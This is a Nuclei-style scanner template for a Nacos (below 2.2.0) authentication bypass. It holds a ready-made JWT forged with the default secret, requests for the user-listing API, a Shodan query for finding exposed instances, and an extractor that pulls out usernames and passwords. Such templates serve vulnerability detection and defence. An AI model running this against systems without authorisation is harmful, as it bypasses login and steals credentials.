id: nacos-authentication-bypass

info:
  name: Nacos < 2.2.0 - Authentication Bypass
  author: Esonhugh
  severity: critical
  description: |
    The authentication function of Nacos is can be bypass through default JWT secret.
  remediation: Change value of jwt secret in the configurations
  reference:
    - https://github.com/alibaba/nacos/issues/10060
    - https://avd.aliyun.com/detail?id=AVD-2023-1655789
    - https://nacos.io/zh-cn/docs/auth.html
  classification:
    cpe: cpe:2.3:a:alibaba:nacos:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: title:"Nacos"
    product: nacos
    vendor: alibaba
  tags: auth-bypass,nacos,misconfig,jwt,vuln

variables:
  token: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OTl9.-isk56R8NfioHVYmpj4oz92nUteNBCN3HRd0-Hfk76g

http:
  - method: GET
    path:
      - "{{BaseURL}}/nacos/v1/auth/users?pageNo=1&pageSize=10&accessToken={{token}}"
      - "{{BaseURL}}/v1/auth/users?pageNo=1&pageSize=10&accessToken={{token}}"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"username":'
          - '"password":'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200

    extractors:
      - type: json
        part: body
        name: extracted-credentials
        json:
          - ".pageItems[]"
# digest: 4a0a0047304502202fd1a66a3ce71e3c7f72c12fa21cde38215015bf2ae2d35c5212bea30f8f76fe022100ff460db916d7adadf1deea98132543db50bcd244ecb5cc4c5966191196a421dd:922c64590222798bb761d5b6d8e72950